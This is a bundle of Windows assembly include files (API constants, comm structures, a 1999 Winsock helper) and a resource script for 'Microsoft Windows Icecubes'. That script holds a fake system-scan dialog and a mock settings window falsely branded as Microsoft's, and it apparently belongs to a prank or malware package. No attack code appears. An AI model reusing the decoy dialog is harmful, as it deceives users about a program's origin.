SM_MENUDROPALIGNMENT  =  40
SM_PENWINDOWS         =  41
SM_DBCSENABLED        =  42
ENDIF
SM_CMETRICSMAX        =  43

ENDIF   ;NOSYSMETRICS

IFNDEF  NOCOLOR

COLOR_SCROLLBAR           = 0
COLOR_BACKGROUND          = 1
COLOR_ACTIVECAPTION       = 2
COLOR_INACTIVECAPTION     = 3
COLOR_MENU                = 4
COLOR_WINDOW              = 5
COLOR_WINDOWFRAME         = 6
COLOR_MENUTEXT            = 7
COLOR_WINDOWTEXT          = 8
COLOR_CAPTIONTEXT         = 9
COLOR_ACTIVEBORDER        = 10
COLOR_INACTIVEBORDER      = 11
COLOR_APPWORKSPACE        = 12
COLOR_HIGHLIGHT           = 13
COLOR_HIGHLIGHTTEXT       = 14
COLOR_BTNFACE             = 15
COLOR_BTNSHADOW           = 16
COLOR_GRAYTEXT            = 17
COLOR_BTNTEXT             = 18
IFNDEF NOWIN31
COLOR_INACTIVECAPTIONTEXT = 19
COLOR_BTNHILIGHT          = 20
ENDIF
ENDIF   ;NOCOLOR

; Commands to pass WinHelp()
HELP_CONTEXT    =0001h  ;/* Display topic in ulTopic */
HELP_QUIT       =0002h  ;/* Terminate help */
HELP_INDEX      =0003h  ;/* Display index */
HELP_HELPONHELP =0004h  ;/* Display help on using help */
HELP_SETINDEX   =0005h  ;/* Set the current Index for multi index help */
HELP_KEY        =0101h  ;/* Display topic for keyword in offabData */

IFNDEF NOCOMM

NOPARITY        =   0
ODDPARITY       =   1
EVENPARITY      =   2
MARKPARITY      =   3
SPACEPARITY     =   4

ONESTOPBIT      =   0
ONE5STOPBITS    =   1
TWOSTOPBITS     =   2

IGNORE          =   0      ; /* Ignore signal    */
INFINITE        =   0FFFFh ; /* Infinite timeout */

; Error Flags
CE_RXOVER       =    0001h ; /* Receive Queue overflow       */
CE_OVERRUN      =    0002h ; /* Receive Overrun Error        */
CE_RXPARITY     =    0004h ; /* Receive Parity Error         */
CE_FRAME        =    0008h ; /* Receive Framing error        */
CE_BREAK        =    0010h ; /* Break Detected               */
CE_CTSTO        =    0020h ; /* CTS Timeout                  */
CE_DSRTO        =    0040h ; /* DSR Timeout                  */
CE_RLSDTO       =    0080h ; /* RLSD Timeout                 */
CE_TXFULL       =    0100h ; /* TX Queue is full             */
CE_PTO          =    0200h ; /* LPTx Timeout                 */
CE_IOE          =    0400h ; /* LPTx I/O Error               */
CE_DNS          =    0800h ; /* LPTx Device not selected     */
CE_OOP          =    1000h ; /* LPTx Out-Of-Paper            */
CE_MODE         =    8000h ; /* Requested mode unsupported   */

IE_BADID        =    (-1)  ;  /* Invalid or unsupported id    */
IE_OPEN         =    (-2)  ;  /* Device Already Open          */
IE_NOPEN        =    (-3)  ;  /* Device Not Open              */
IE_MEMORY       =    (-4)  ;  /* Unable to allocate queues    */
IE_DEFAULT      =    (-5)  ;  /* Error in default parameters  */
IE_HARDWARE     =    (-10) ;  /* Hardware Not Present         */
IE_BYTESIZE     =    (-11) ;  /* Illegal Byte Size            */
IE_BAUDRATE     =    (-12) ;  /* Unsupported BaudRate         */

; Events
EV_RXCHAR       =    0001h ; /* Any Character received       */
EV_RXFLAG       =    0002h ; /* Received certain character   */
EV_TXEMPTY      =    0004h ; /* Transmitt Queue Empty        */
EV_CTS          =    0008h ; /* CTS changed state            */
EV_DSR          =    0010h ; /* DSR changed state            */
EV_RLSD         =    0020h ; /* RLSD changed state           */
EV_BREAK        =    0040h ; /* BREAK received               */
EV_ERR          =    0080h ; /* Line status error occurred   */
EV_RING         =    0100h ; /* Ring signal detected         */
EV_PERR         =    0200h ; /* Printer error occured        */
EV_CTSS         =    0400h ; /* CTS state                    */
EV_DSRS         =    0800h ; /* DSR state                    */
EV_RLSDS        =    1000h ; /* RLSD state                   */
EV_RingTe       =    2000h ; /* Ring Trailing Edge Indicator */


; Escape Functions
SETXOFF         =    1     ;  /* Simulate XOFF received       */
SETXON          =    2     ;  /* Simulate XON received        */
SETRTS          =    3     ;  /* Set RTS high                 */
CLRRTS          =    4     ;  /* Set RTS low                  */
SETDTR          =    5     ;  /* Set DTR high                 */
CLRDTR          =    6     ;  /* Set DTR low                  */
RESETDEV        =    7     ;  /* Reset device if possible     */

LPTx            =    80h   ; /* Set if ID is for LPT device  */

IFNDEF NOWIN31
; new escape functions
GETMAXLPT   equ  8         ; Max supported LPT id
GETMAXCOM   equ  9         ; Max supported COM id
GETBASEIRQ  equ 10         ; Get port base & irq for a port

; Comm Baud Rate indices
CBR_110     equ 0FF10h
CBR_300     equ 0FF11h
CBR_600     equ 0FF12h
CBR_1200    equ 0FF13h
CBR_2400    equ 0FF14h
CBR_4800    equ 0FF15h
CBR_9600    equ 0FF16h
CBR_14400   equ 0FF17h
CBR_19200   equ 0FF18h
;               0FF19h  (reserved)
;               0FF1Ah  (reserved)
CBR_38400   equ 0FF1Bh
;               0FF1Ch  (reserved)
;               0FF1Dh  (reserved)
;               0FF1Eh  (reserved)
CBR_56000   equ 0FF1Fh
;               0FF20h  (reserved)
;               0FF21h  (reserved)
;               0FF22h  (reserved)
CBR_128000  equ 0FF23h
;               0FF24h  (reserved)
;               0FF25h  (reserved)
;               0FF26h  (reserved)
CBR_256000  equ 0FF27h

; notifications passed in low word of lParam on WM_COMMNOTIFY messages
CN_RECEIVE  equ 1           ; bytes are available in the input queue
CN_TRANSMIT equ 2           ; fewer than wOutTrigger bytes still
                            ; remain in the output queue waiting
                            ; to be transmitted.
CN_EVENT    equ 4           ; an enabled event has occurred

ENDIF


DCB     struc
    DCB_Id             db ?  ; /* Internal Device ID              */
    DCB_BaudRate       dw ?  ; /* Baudrate at which runing        */
    DCB_ByteSize       db ?  ; /* Number of bits/byte, 4-8        */
    DCB_Parity         db ?  ; /* 0-4=None,Odd,Even,Mark,Space    */
    DCB_StopBits       db ?  ; /* 0,1,2 = 1, 1.5, 2               */
    DCB_RlsTimeout     dw ?  ; /* Timeout for RLSD to be set      */
    DCB_CtsTimeout     dw ?  ; /* Timeout for CTS to be set       */
    DCB_DsrTimeout     dw ?  ; /* Timeout for DSR to be set       */

    DCB_BitMask1       db ?

    ;   BYTE fBinary: 1;     /* Binary Mode (skip EOF check     */
    ;   BYTE fRtsDisable:1;  /* Don't assert RTS at init time   */
    ;   BYTE fParity: 1;     /* Enable parity checking          */
    ;   BYTE fOutxCtsFlow:1; /* CTS handshaking on output       */
    ;   BYTE fOutxDsrFlow:1; /* DSR handshaking on output       */
    ;   BYTE fDummy: 2;      /* Reserved                        */
    ;   BYTE fDtrDisable:1;  /* Don't assert DTR at init time   */

    DCB_BitMask2       db ?

    ;   BYTE fOutX: 1;       /* Enable output X-ON/X-OFF        */
    ;   BYTE fInX: 1;        /* Enable input X-ON/X-OFF         */
    ;   BYTE fPeChar: 1;     /* Enable Parity Err Replacement   */
    ;   BYTE fNull: 1;       /* Enable Null stripping           */
    ;   BYTE fChEvt: 1;      /* Enable Rx character event.      */
    ;   BYTE fDtrflow: 1;    /* DTR handshake on input          */
    ;   BYTE fRtsflow: 1;    /* RTS handshake on input          */
    ;   BYTE fDummy2: 1;

    DCB_XonChar        db ? ; /* Tx and Rx X-ON character        */
    DCB_XoffChar       db ? ; /* Tx and Rx X-OFF character       */
    DCB_XonLim         dw ? ; /* Transmit X-ON threshold         */
    DCB_XoffLim        dw ? ; /* Transmit X-OFF threshold        */
    DCB_PeChar         db ? ; /* Parity error replacement char   */
    DCB_EofChar        db ? ; /* End of Input character          */
    DCB_EvtChar        db ? ; /* Recieved Event character        */
    DCB_TxDelay        dw ? ; /* Amount of time between chars    */
DCB     ends

COMSTAT     struc
    COMS_BitMask1   db ?

;    BYTE fCtsHold: 1;   /* Transmit is on CTS hold         */
;    BYTE fDsrHold: 1;   /* Transmit is on DSR hold         */
;    BYTE fRlsdHold: 1;  /* Transmit is on RLSD hold        */
;    BYTE fXoffHold: 1;  /* Received handshake              */
;    BYTE fXoffSent: 1;  /* Issued handshake                */
;    BYTE fEof: 1;       /* End of file character found     */
;    BYTE fTxim: 1;      /* Character being transmitted     */


    COMS_cbInQue    dw ?  ;   /* count of characters in Rx Queue */
    COMS_cbOutQue   dw ?  ;   /* count of characters in Tx Queue */
COMSTAT     ends

ENDIF       ;NOCOM

;
; Installable Driver Support
;
; Driver Messages
DRV_LOAD            = 0001h
DRV_ENABLE          = 0002h
DRV_OPEN            = 0003h
DRV_CLOSE           = 0004h
DRV_DISABLE         = 0005h
DRV_FREE            = 0006h
DRV_CONFIGURE       = 0007h
DRV_QUERYCONFIGURE  = 0008h
DRV_INSTALL         = 0009h
DRV_REMOVE          = 000Ah
DRV_EXITSESSION     = 000Bh
DRV_POWER           = 000Fh
DRV_RESERVED        = 0800h
DRV_USER            = 4000h

;LPARAM of DRV_CONFIGURE message and return values
DRVCONFIGINFO struc
    DRVCNF_dwDCISize          dw ?
    DRVCNF_lpszDCISectionName dd ?
    DRVCNF_lpszDCIAliasName   dd ?
DRVCONFIGINFO ends

DRVCNF_CANCEL       = 0000h
DRVCNF_OK           = 0001h
DRVCNF_RESTART      = 0002h


IFNDEF  NOKERNEL
;
; Common Kernel errors
;
ERR_GALLOC      = 01030h        ; GlobalAlloc Failed
ERR_GREALLOC    = 01031h        ; GlobalReAlloc Failed
ERR_GLOCK       = 01032h        ; GlobalLock Failed
ERR_LALLOC      = 01033h        ; LocalAlloc Failed
ERR_LREALLOC    = 01034h        ; LocalReAlloc Failed
ERR_LLOCK       = 01035h        ; LocalLock Failed
ERR_ALLOCRES    = 01036h        ; AllocResource Failed
ERR_LOCKRES     = 01037h        ; LockResource Failed
ERR_LOADMODULE  = 01038h        ; LoadModule failed

;
; Common User Errors
;
ERR_CREATEDLG        =  01045h ; /* Create Dlg failure due to LoadMenu failure */
ERR_CREATEDLG2       =  01046h ; /* Create Dlg failure due to CreateWindow Failure */
ERR_REGISTERCLASS    =  01047h ; /* RegisterClass failure due to Class already registered */
ERR_DCBUSY           =  01048h ; /* DC Cache is full */
ERR_CREATEWND        =  01049h ; /* Create Wnd failed due to class not found */
ERR_STRUCEXTRA       =  01050h ; /* Unallocated Extra space is used */
ERR_LOADSTR          =  01051h ; /* LoadString() failed */
ERR_LOADMENU         =  01052h ; /* LoadMenu Failed     */
ERR_NESTEDBEGINPAINT =  01053h ; /* Nested BeginPaint() calls */
ERR_BADINDEX         =  01054h ; /* Bad index to Get/Set Class/Window Word/Long */
ERR_CREATEMENU       =  01055h ; /* Error creating menu */

;
; Common GDI Errors
;
ERR_CREATEDC        = 01070h    ; /* CreateDC/CreateIC etc., failure */
ERR_CREATEMETA      = 01071h    ; /* CreateMetafile failure */
ERR_DELOBJSELECTED  = 01072h    ; /* Bitmap being deleted is selected into DC */
ERR_SELBITMAP       = 01073h    ; /* Bitmap being selected is already selected elsewhere */

ENDIF       ;NOKERNEL
ĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄ[WINDOWS.INC]ĄĊĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄěWSOCKS.INC]ĄĊ;
;      WSocks.inc: include file for windows sockets .
;      Designed for TASM5 and Win32.
;
;      (C) 1999 Bumblebee.
;
;       This file contains basic structures and stuff to work
;       with windows sockets.
;

; Descriptions of the API:
;  arguments in order of PUSH ;)

; only for debug
extrn   WSAGetLastError:PROC

; starts the use of winsock dll
; addr WSADATA, version requested
; returns: 0 ok
extrn	WSAStartup:PROC

; terminates the use of winsock dll
; returns: SOCK_ERR on error
extrn	WSACleanup:PROC

; opens a new socket
; protocol (PCL_NONE), type (SOCK_??), addr format (AF_??)
; returns: socket id or SOCKET_ERR (socket is dw)
extrn	socket:PROC

; closes a socket
; socket descriptor
;
extrn   closesocket:PROC

; sends data (this socks are a shit... Unix uses simple write)
; flags (1  OOB data or 0 normal ) , length, addr of buffer, socket
; returns: caracters sent or SOCKET_ERR on error
extrn   send:PROC

; reveives data (this socks are a shit... Unix uses simple read)
; flags (use 0), length, addr of buffer, socket
; returns: caracters sent or SOCKET_ERR on error
extrn   recv:PROC

; connects to a server
; sizeof struct SOCKADDR, struct SOCKADDR, socket
; returns: SOCKET_ERR on error
extrn	connect:PROC

; gets the name of the current host
; length of the buffer for name, addr of buffer for name
; return: SOCKET_ERR on error
extrn   gethostname:PROC

; gets strcut hostent
; addr of name
; returns: ponter to the struct or 0 on error
extrn   gethostbyname:PROC

; converts a zstring like "xxx.xxx.xx...." to netw byte order
; zstring ptr to change to dotted addr format
; returns: in_addr (dd)
extrn 	inet_addr:PROC

; dw to convert into netw byte order (usually the port)
; returns: the value in network byte order (dw)
extrn   htons:PROC

; Structs :o

; sockaddr struct for connection
; modified (for better use)
; if you want the original look for it into a winsock.h
SOCKADDR        struct
sin_family	dw	0	; ex. AF_INET
sin_port	dw	0	; use htons for this
sin_addr        dd      0       ; here goes server node (from inet_addr)
sin_zero	db	8 dup(0)
SOCKADDR        ends

; for WSAStartup diagnose
WSADATA		struct
mVersion	dw	0
mHighVersion	dw	0
szDescription	db	257 dup(0)
szSystemStatus	db	129 dup(0)
iMaxSockets	dw	0
iMaxUpdDg	dw	0
lpVendorInfo	dd	0
WSADATA		ends

; Some nice equs 

; what version of winsock do you need? (usually 1.1)
VERSION1_0      equ     0100h
VERSION1_1      equ     0101h
VERSION2_0      equ     0200h

AF_UNIX		equ	1	; local host
AF_INET         equ     2       ; internet (most used)
AF_IMPLINK	equ	3	; arpanet
AF_NETBIOS	equ	17	; NetBios style addresses

; types of sockets
SOCK_STREAM     equ     1       ; stream (connection oriented; telnet like)
SOCK_DGRAM      equ     2       ; datagram (packets, packets, packets)

; protocol
PCL_NONE        equ     0       ; none (define the protocol not needed)

SOCKET_ERR      equ     -1      ; standard winsock error

HOSTENT_IP      equ     10h     ; where is the IP into the hostent struct
ĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄěWSOCKS.INC]ĄĊĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄ[ICECUBES.RC]ĄĊ#define IDM_ABOUTBOX                    0x0010
#define IDD_ABOUTBOX                    100
#define IDS_ABOUTBOX                    101
#define IDD_VKS_DIALOG_0                102
#define IDD_VKS_DIALOG_1                103
#define IDR_MAINFRAME                   128
#define IDC_CHECK1                      1000
#define IDC_CHECK2                      1001
#define IDC_EDIT3                       1003
#define IDC_SPIN1                       1018
#define IDC_COMBO1                      1004
#define IDC_EDIT1                       1005
#define IDC_CHECK3                      1006
#define IDC_CHECK4                      1007
#define IDC_EDIT2                       1008
#define IDC_BUTTON1                     1009
#define IDC_BUTTON2                     1014
#define IDC_CHECK5                      1010
#define IDC_RADIO1                      1012
#define IDC_RADIO2                      1013
#define IDC_STATIC                      1015
#define IDC_STATIC2                     1016


11 ICON "icecubes.ico"

IDD_VKS_DIALOG_0 DIALOG 0, 0, 255, 20
STYLE DS_MODALFRAME | DS_3DLOOK | DS_CENTER | WS_POPUP | WS_VISIBLE | 
    WS_CAPTION | WS_SYSMENU
CAPTION "Scanning system for Microsoft Windows Icecubes..."
FONT 8, "Verdana"
BEGIN
    CONTROL         "",105,"msctls_progress32",WS_CLIPSIBLINGS,5,5,244,11
END


IDD_VKS_DIALOG_1 DIALOG 0, 0, 233, 252
STYLE DS_MODALFRAME | DS_3DLOOK | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
EXSTYLE WS_EX_APPWINDOW
CAPTION "Microsoft Windows Icecubes"
FONT 8, "MS Sans Serif"
BEGIN

    LTEXT           "Manufacturer's default settings (not to be edited)",
                    IDC_STATIC,13,8,200,8

    GROUPBOX        "Endurance options",IDC_STATIC,7,23,218,53
    CONTROL         "Crash every",IDC_CHECK1,"Button",BS_AUTOCHECKBOX | 
                    WS_TABSTOP,15,36,50,10
    CONTROL         "Crash after",IDC_CHECK2,"Button",BS_AUTOCHECKBOX | 
                    WS_TABSTOP,15,54,50,10

    EDITTEXT        IDC_EDIT3,75,35,34,12,ES_AUTOHSCROLL
    CONTROL         "Spin1",IDC_SPIN1,"msctls_updown32",UDS_ARROWKEYS,108,35,
                    8,12

    COMBOBOX        IDC_COMBO1,130,35,72,85,CBS_DROPDOWNLIST | CBS_SORT | 
                    WS_VSCROLL | WS_TABSTOP

    EDITTEXT        IDC_EDIT1,75,53,43,13,ES_AUTOHSCROLL
    LTEXT           "bytes of un-saved  changes",IDC_STATIC,130,55,94,13


    GROUPBOX        "Save options",IDC_STATIC,7,81,218,69
    CONTROL         "Create incredibly large files",IDC_CHECK3,"Button",
                    BS_AUTOCHECKBOX | WS_TABSTOP,15,94,163,10
    CONTROL         "Allow me to carry on typing during AutoRecovery saves",
                    IDC_CHECK4,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,15,112,
                    195,10
    LTEXT           "Fail AutoRecovery at",IDC_STATIC,25,130,120,13
    LTEXT           "percent",IDC_STATIC2,125,130,50,13

    EDITTEXT        IDC_EDIT2,100,128,18,12,ES_AUTOHSCROLL

    GROUPBOX        "Other options",IDC_STATIC,7,157,218,70
    CONTROL         "Decrease boot speed by 70%",IDC_CHECK5,"Button",
                    BS_AUTOCHECKBOX | WS_TABSTOP,15,170,190,14
    CONTROL         "constantly",IDC_RADIO1,"Button",BS_AUTORADIOBUTTON,35,
                    198,48,10
    CONTROL         "when I least expect it",IDC_RADIO2,"Button",
                    BS_AUTORADIOBUTTON,35,210,83,10
    LTEXT           "Annoy me with that sodding paperclip",IDC_STATIC,25,186,
                    136,10

    PUSHBUTTON   "Cancel",IDC_BUTTON1,122,233,50,12
    DEFPUSHBUTTON   "Ok",IDC_BUTTON2,64,233,50,12

END



Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐